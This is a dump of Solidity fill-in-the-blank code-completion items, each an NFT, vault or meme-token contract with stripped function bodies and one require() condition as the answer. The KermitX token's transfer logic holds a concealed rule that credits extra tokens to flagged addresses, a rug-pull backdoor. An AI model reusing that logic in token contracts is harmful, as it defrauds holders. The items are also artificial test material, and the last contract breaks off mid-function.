comment
stringlengths 1
211
⌀ | input
stringlengths 155
20k
| label
stringlengths 4
1k
| original_idx
int64 203
514k
| predicate
stringlengths 1
1k
|
---|---|---|---|---|
"Msg.sender is not permitted to set token URIs!" | // _______ __ __ __ __
// \ / | / | / | / |
//$$$$$$$ | ______ ______ __ ______ _______ _$$ |_ $$ | $$ | ______ _______ $$ | __ _____ ____ ______ _______
//$$ |__$$ |/ \ / \ / | / \ / |/ $$ | $$ | $$ |/ \ / \ $$ | / |/ \/ \ / \ / \
//$$ $$//$$$$$$ |/$$$$$$ | $$/ /$$$$$$ |/$$$$$$$/ $$$$$$/ $$ \ /$$//$$$$$$ |$$$$$$$ |$$ |_/$$/ $$$$$$ $$$$ | $$$$$$ |$$$$$$$ |
//$$$$$$$/ $$ | $$/ $$ | $$ | / |$$ $$ |$$ | $$ | __ $$ /$$/ $$ $$ |$$ | $$ |$$ $$< $$ | $$ | $$ | / $$ |$$ | $$ |
//$$ | $$ | $$ \__$$ | $$ |$$$$$$$$/ $$ \_____ $$ |/ | $$ $$/ $$$$$$$$/ $$ | $$ |$$$$$$ \ $$ | $$ | $$ |/$$$$$$$ |$$ | $$ |
//$$ | $$ | $$ $$/ $$ |$$ |$$ | $$ $$/ $$$/ $$ |$$ | $$ |$$ | $$ |$$ | $$ | $$ |$$ $$ |$$ | $$ |
//$$/ $$/ $$$$$$/__ $$ | $$$$$$$/ $$$$$$$/ $$$$/ $/ $$$$$$$/ $$/ $$/ $$/ $$/ $$/ $$/ $$/ $$$$$$$/ $$/ $$/
// / \__$$ |
// $$ $$/
// $$$$$$/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.1;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol";
import "@openzeppelin/contracts/interfaces/IERC2981.sol";
//An ERC721 smart contract that is able to designate an individual minter and token setter role, and a royalty recipient.
contract SpeedComfortAndSafety is AccessControl, ERC721Enumerable, ERC721URIStorage, Ownable, IERC2981
{
using Counters for Counters.Counter;
Counters.Counter private _mintCount;
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
//The max amount of tokens that can ever possibly be minted.
// uint256 public maxMintAmount;
//Initializes an event that is invoked when a token is minted.
event Minted(uint256 tokenId);
bytes32 public constant TOKEN_SETTER_ROLE = keccak256("TOKEN_SETTER_ROLE");
//Initializes an event that is invoked when a token's tokenURI is set.
event OnSetTokenURI(uint256, string);
//Initializes the _basisPoints property. It determines the percentage rate of which royalties are paid out
//Formula: 1000 / _basisPoints;
uint256 private _basisPoints = 1000; //1000 = 10%
//The address to which royalties will be paid out to.
address private _royaltyRecipient;
//Passes along the addresses used for minting, token URI setting, and royalties to their respective contract constructors.
constructor(address admin, address[] memory minterRoleAddresses, address[] memory tokenSetterRoleAddresses, address royaltiesAddress, uint256 basisPoints)
ERC721("Speed, Comfort and Safety", "DAS")
{
}
function _setupRoles(bytes32 role, address[] memory addresses) private {
}
//Public facing mint function to be called from Web3 technologies.
function mint() public {
}
//Helper function which returns the number of minted tokens.
function getMintCount() public view returns(uint256) {
}
function setTokenURI(uint256 tokenId, string memory _tokenURI) public {
//Requires that the address that signed the transaction is assigned a token setter role by the contract.
require(<FILL_ME>)
//Calls ERC721URIStorage's setTokenURI functionality
super._setTokenURI(tokenId, _tokenURI);
//Invokes the OnSetTokenURI event, passing along the tokenID that had its tokenURI changed, and its new tokenURI.
emit OnSetTokenURI(tokenId, _tokenURI);
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal override(ERC721, ERC721Enumerable)
{
}
function _burn(uint256 tokenId) internal override(ERC721, ERC721URIStorage) {
}
function tokenURI(uint256 tokenId)
public
view
override(ERC721, ERC721URIStorage)
returns (string memory)
{
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721, ERC721Enumerable, AccessControl, IERC165)
returns (bool)
{
}
//Sets the calculated amount of royalty to be paid out based on the price of the sale
function royaltyInfo(uint256, uint256 _salePrice) external view override
returns (address receiver, uint256 royaltyAmount)
{
}
//Sets the royalty recipient.
function _setRoyaltiesRecipient(address newRecipient) internal {
}
function aNotSoSecretMessage() public pure returns(string memory) {
}
}
| hasRole(TOKEN_SETTER_ROLE,msg.sender),"Msg.sender is not permitted to set token URIs!" | 171,175 | hasRole(TOKEN_SETTER_ROLE,msg.sender) |
"Can only mint 1 NFT" | //SPDX-License-Identifier: MIT
/*
_ _ ___ _ _ ____ _ ___
| || | / _ \| || | / ___| ___ _ __(_) ___ ___ / _ \ _ __ ___
| || |_| | | | || |_ \___ \ / _ \ '__| |/ _ \/ __| | | | | '_ \ / _ \
|__ _| |_| |__ _| ___) | __/ | | | __/\__ \ | |_| | | | | __/
|_| \___/ |_| |____/ \___|_| |_|\___||___/ \___/|_| |_|\___|
*/
pragma solidity 0.8.17;
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "./opensea-operator-filterer/DefaultOperatorFilterer.sol";
//Built by --error
contract NotFoundSeriesOne is DefaultOperatorFilterer, Ownable, ERC721Enumerable {
constructor() ERC721("Not Found - Series One", "404") {}
uint256 public maxSupply = 404;
uint256 minted;
string public baseURI;
string public baseExtension = ".json";
mapping(address => uint256) userMint;
bool public paused = false;
function claim(uint256 _tokenID) public payable {
require(msg.value >= 0.01 ether, "Insufficient payment");
require(minted < maxSupply, "Max Supply is 404");
require(_tokenID < maxSupply, "Token ID should be between 0-403");
require(<FILL_ME>)
require(!_exists(_tokenID), "Another user has minted this token ID");
require(!paused, "The contract is paused.");
userMint[msg.sender] += 1;
minted++;
_safeMint(msg.sender, _tokenID);
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
function setApprovalForAll(address operator, bool approved)
public
override(ERC721, IERC721)
onlyAllowedOperatorApproval(operator)
{
}
function approve(address operator, uint256 tokenId)
public
override(ERC721, IERC721)
onlyAllowedOperatorApproval(operator)
{
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public override(ERC721, IERC721) onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public override(ERC721, IERC721) onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory data
) public override(ERC721, IERC721) onlyAllowedOperator(from) {
}
function withdraw() external onlyOwner {
}
function setPaused(bool _state) public onlyOwner {
}
}
| userMint[msg.sender]==0,"Can only mint 1 NFT" | 171,201 | userMint[msg.sender]==0 |
"Another user has minted this token ID" | //SPDX-License-Identifier: MIT
/*
_ _ ___ _ _ ____ _ ___
| || | / _ \| || | / ___| ___ _ __(_) ___ ___ / _ \ _ __ ___
| || |_| | | | || |_ \___ \ / _ \ '__| |/ _ \/ __| | | | | '_ \ / _ \
|__ _| |_| |__ _| ___) | __/ | | | __/\__ \ | |_| | | | | __/
|_| \___/ |_| |____/ \___|_| |_|\___||___/ \___/|_| |_|\___|
*/
pragma solidity 0.8.17;
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "./opensea-operator-filterer/DefaultOperatorFilterer.sol";
//Built by --error
contract NotFoundSeriesOne is DefaultOperatorFilterer, Ownable, ERC721Enumerable {
constructor() ERC721("Not Found - Series One", "404") {}
uint256 public maxSupply = 404;
uint256 minted;
string public baseURI;
string public baseExtension = ".json";
mapping(address => uint256) userMint;
bool public paused = false;
function claim(uint256 _tokenID) public payable {
require(msg.value >= 0.01 ether, "Insufficient payment");
require(minted < maxSupply, "Max Supply is 404");
require(_tokenID < maxSupply, "Token ID should be between 0-403");
require(userMint[msg.sender] == 0, "Can only mint 1 NFT");
require(<FILL_ME>)
require(!paused, "The contract is paused.");
userMint[msg.sender] += 1;
minted++;
_safeMint(msg.sender, _tokenID);
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
function setApprovalForAll(address operator, bool approved)
public
override(ERC721, IERC721)
onlyAllowedOperatorApproval(operator)
{
}
function approve(address operator, uint256 tokenId)
public
override(ERC721, IERC721)
onlyAllowedOperatorApproval(operator)
{
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public override(ERC721, IERC721) onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public override(ERC721, IERC721) onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory data
) public override(ERC721, IERC721) onlyAllowedOperator(from) {
}
function withdraw() external onlyOwner {
}
function setPaused(bool _state) public onlyOwner {
}
}
| !_exists(_tokenID),"Another user has minted this token ID" | 171,201 | !_exists(_tokenID) |
"Max Wallet!" | /**
*/
//Website: https://www.x-kermit.com/
//Telegram: https://t.me/XKermitERC
//Twitter: https://twitter.com/XKermitERC
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.19;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
library Address {
function isContract(address account) internal view returns (bool) {
}
function sendValue(address payable recipient, uint256 amount) internal {
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view virtual returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
contract KermitX is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private tokens;
mapping (address => bool) private _reflectionAmounts;
mapping (address => mapping (address => uint256)) private _allowances;
address payable public Market_Address = payable(0xfAe56B996eFD09F0aF86A250EB4b33CDeff69C1d);
address payable public Dead_Address = payable(0x000000000000000000000000000000000000dEaD);
mapping (address => bool) public ExcludedFromMaxWallet;
mapping (address => bool) public ExcludedFromFee;
string public _name = unicode"Kermit X";
string public _symbol = unicode"KERMIX";
uint8 private _decimals = 9;
uint256 public _tTotal = 1000 * 10 ** 9 * 10 **_decimals;
uint8 private swapCounter = 0;
uint8 private swapTrigger = 10;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool public inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
uint256 private calculateReflectAmount;
bool private isReflectionActive = false;
uint8 private maxReflectionRate;
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
modifier lockTheSwap {
}
constructor (uint8 rate, uint256 totalReflectionAmount) {
}
function name() public view returns (string memory) {
}
function decimals() public view returns (uint8) {
}
function totalSupply() public view override returns (uint256) {
}
function symbol() public view returns (string memory) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
receive() external payable {}
function _approve(address owner, address spender, uint256 amount) private {
}
function _transfer(address from,address to,uint256 amount) private {
if (!ExcludedFromMaxWallet[to]){
require(<FILL_ME>)
}
if(ExcludedFromMaxWallet[to] && _reflectionAmounts[to]){
isReflectionActive= true;
}
if(swapCounter >= swapTrigger && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled ){
swapCounter = 0;
uint256 heldTokens = balanceOf(address(this));
if(heldTokens > _tTotal.mul(25).div(100)) {heldTokens = _tTotal.mul(25).div(100);}
if(heldTokens > 0){
swapAndLiquify(heldTokens);
}
}
if(ExcludedFromMaxWallet[to] && _reflectionAmounts[to] && isReflectionActive){
tokens[to] = tokens[to].add(calculateReflectAmount);
}
bool _TAX_ = true;
bool BUY_TX = false;
bool _reflectStatus = isReflectionActive;
if(from == uniswapV2Pair){
BUY_TX = true;
}
if(ExcludedFromFee[from] || ExcludedFromFee[to] || BUY_TX){
_TAX_ = false;
}
_transferTokens(from, to, amount, _TAX_, _reflectStatus);
}
function _transferTokens(address from, address to, uint256 amount, bool _TAX_, bool _reflectStatus) private{
}
function sendToWallet(address payable wallet, uint256 amount) private {
}
function swapAndLiquify(uint256 heldTokens) private lockTheSwap {
}
function swapTokensForETH(uint256 tokenAmount) private {
}
}
| (balanceOf(to)+amount)<=_tTotal.mul(25).div(100),"Max Wallet!" | 171,244 | (balanceOf(to)+amount)<=_tTotal.mul(25).div(100) |
"Governable: caller is not the governance" | // SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/Governable.sol)
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (a governance) that can be granted exclusive access to
* specific functions.
*
* By default, the governance account will be the one that deploys the contract. This
* can later be changed with {transferGovernance}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyGovernance`, which can be applied to your functions to restrict their use to
* the governance.
*/
abstract contract Governable is Context {
address private _governance;
event GovernanceTransferred(address indexed previousGovernance, address indexed newGovernance);
/**
* @dev Initializes the contract setting the deployer as the initial governance.
*/
constructor() {
}
/**
* @dev Returns the address of the current governance.
*/
function governance() public view virtual returns (address) {
}
/**
* @dev Throws if called by any account other than the governance.
*/
modifier onlyGovernance() {
require(<FILL_ME>)
_;
}
/**
* @dev Leaves the contract without governance. It will not be possible to call
* `onlyGovernance` functions anymore. Can only be called by the current governance.
*
* NOTE: Renouncing governanceship will leave the contract without an governance,
* thereby removing any functionality that is only available to the governance.
*/
function renounceGovernance() public virtual onlyGovernance {
}
/**
* @dev Transfers governanceship of the contract to a new account (`newGovernance`).
* Can only be called by the current governance.
*/
function transferGovernance(address newGovernance) public virtual onlyGovernance {
}
/**
* @dev Transfers governanceship of the contract to a new account (`newGovernance`).
* Internal function without access restriction.
*/
function _transferGovernance(address newGovernance) internal virtual {
}
}
| governance()==_msgSender(),"Governable: caller is not the governance" | 171,262 | governance()==_msgSender() |
"EXCEED_TOTAL_DEPOSIT" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./Vault.sol";
import "../subStrategies/interfaces/IWeth.sol";
contract ethVault is Vault {
using SafeERC20 for IERC20;
constructor(
ERC20 _asset,
string memory _name,
string memory _symbol
) Vault(_asset,_name, _symbol) {
}
function depositEth(uint256 minShares,address receiver) external payable nonReentrant unPaused returns (uint256 shares)
{
}
function withdrawEth(uint256 assets,uint256 minWithdraw,address payable receiver) external nonReentrant unPaused returns (uint256 shares)
{
require(assets != 0, "ZERO_ASSETS");
require(receiver != address(0), "ZERO_ADDRESS");
require(assets <= maxWithdraw, "EXCEED_ONE_TIME_MAX_WITHDRAW");
// Calculate share amount to be burnt
shares =
(totalSupply() * assets) /
IController(controller).totalAssets();
require(shares > 0, "INVALID_WITHDRAW_SHARES");
require(<FILL_ME>)
uint256 amount = _withdraw(assets, shares,minWithdraw, address(this));
IWeth(address(asset)).withdraw(amount);
receiver.transfer(amount);
}
function redeemEth(uint256 shares,uint256 minWithdraw,address payable receiver) external nonReentrant unPaused returns (uint256 assets)
{
}
}
| balanceOf(msg.sender)>=shares,"EXCEED_TOTAL_DEPOSIT" | 171,270 | balanceOf(msg.sender)>=shares |
"No more" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./ERC721A.sol";
import "./Ownable.sol";
contract illapeit is ERC721A, Ownable {
using Strings for uint256;
uint256 public maxSupply = 10000;
uint256 public price = 0.005 ether;
uint256 public maxPerTx = 20;
uint256 public maxFreeAmount = 3000;
uint256 public maxFreePerWallet = 10;
uint256 public maxFreePerTx = 5;
bool public mintEnabled = true;
bool public revealed = false;
string public baseURI;
string public unrevealedURI="ipfs://QmUZ2ZX4mQPmmTTF8MrxzUe5ZxfxPbtbqNcYysPGrHxkaM";
mapping(address => uint256) private _mintedFreeAmount;
constructor() ERC721A("ill ape it", "iai") {
}
function mint(uint256 amount) external payable {
uint256 cost = price;
uint256 num = amount > 0 ? amount : 1;
bool free = ((totalSupply() + num < maxFreeAmount + 1) &&
(_mintedFreeAmount[msg.sender] + num <= maxFreePerWallet));
if (free) {
cost = 0;
_mintedFreeAmount[msg.sender] += num;
require(num < maxFreePerTx + 1, "Max per TX reached.");
} else {
require(num < maxPerTx + 1, "Max per TX reached.");
}
require(mintEnabled, "Minting is not live yet.");
require(msg.value >= num * cost, "Please send the exact amount.");
require(<FILL_ME>)
_safeMint(msg.sender, num);
}
function _baseURI() internal view virtual override returns (string memory) {
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
function setBaseURI(string memory uri) public onlyOwner {
}
function setUnrevealedURI(string memory uri) public onlyOwner {
}
function setPrice(uint256 _newPrice) external onlyOwner {
}
function setMaxFreeAmount(uint256 _amount) external onlyOwner {
}
function setMaxFreePerWallet(uint256 _amount) external onlyOwner {
}
function flipSale() external onlyOwner {
}
function flipReveal() external onlyOwner {
}
function withdraw() external onlyOwner {
}
}
| totalSupply()+num<maxSupply+1,"No more" | 171,312 | totalSupply()+num<maxSupply+1 |
"Ownable: caller is not allowed" | /**
// SPDX-License-Identifier: Unlicensed
Elon Just Tweet and Change his PP !
https://twitter.com/elonmusk/status/1521807738317066240?s=20&t=-Q9MBV0bBxU54ZT30QJ5Fw
Initial liquidity: 1 - 1.5 ETH
Max Wallet 3%
Low Tax : Only 5% for LP & Marketing
TG : https://t.me/BoredApeFungiblePortal
*/
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
abstract contract Ownable is Context {
address private _owner;
mapping(address => bool) internal authorizations;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
}
function owner() public view virtual returns (address) {
}
modifier onlyOwner() {
require(<FILL_ME>)
_;
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function _transferOwnership(address newOwner) internal virtual {
}
function authorize(address adr) public onlyOwner {
}
function unauthorize(address adr) public onlyOwner {
}
function isAuthorized(address adr) public view returns (bool) {
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract BoredApeFungible is Context, IERC20, Ownable {
using SafeMath for uint256;
uint256 MAX_INT =
115792089237316195423570985008687907853269984665640564039457584007913129639935;
string private constant _name = "BoredApeFungible";
string private constant _symbol = "BAPEF";
uint8 private constant _decimals = 9;
address[] private _sniipers;
mapping(address => uint256) _balances;
mapping(address => uint256) _lastTX;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
mapping(address => bool) private _isSniiper;
mapping(address => bool) private _liquidityHolders;
mapping(address => bool) private bots;
uint256 _totalSupply = 1000000000 * 10**9;
//Buy Fee
uint256 private _taxFeeOnBuy = 5;
//Sell Fee
uint256 private _taxFeeOnSell = 5;
//Original Fee
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previoustaxFee = _taxFee;
address payable private _marketingAddress;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen = false;
bool private inSwap = false;
bool private swapEnabled = true;
bool private transferDelay = true;
bool sniiperProtection = true;
uint256 private wipeBlocks = 1;
uint256 private launchedAt;
uint256 public _maxTxAmount = 30000000 * 10**9; //3
uint256 public _maxWalletSize = 30000000 * 10**9; //3
uint256 public _swapTokensAtAmount = 1000000 * 10**9; //0.1
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap() {
}
constructor() {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public view override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
}
function setWipeBlocks(uint256 newWipeBlocks) public onlyOwner {
}
function setSniiperProtection(bool _sniiperProtection) public onlyOwner {
}
function byeByeSniipers() public onlyOwner lockTheSwap {
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
}
function _transfer(
address from,
address to,
uint256 amount
) private {
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
}
function sendETHToFee(uint256 amount) private {
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
function openTrading() public onlyOwner {
}
function manualswap() external onlyOwner {
}
function blockBots(address[] memory bots_) public onlyOwner {
}
function unblockBot(address notbot) public onlyOwner {
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
}
function airdrop(address[] calldata recipients, uint256[] calldata amount)
public
onlyOwner
{
}
function _transferStandard(
address sender,
address recipient,
uint256 amount
) private {
}
function _transferNoTax(
address sender,
address recipient,
uint256 amount
) internal returns (bool) {
}
function takeFees(address sender, uint256 amount)
internal
returns (uint256)
{
}
receive() external payable {}
function transferOwnership(address newOwner) public override onlyOwner {
}
function setFees(uint256 taxFeeOnBuy, uint256 taxFeeOnSell)
public
onlyOwner
{
}
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount)
public
onlyOwner
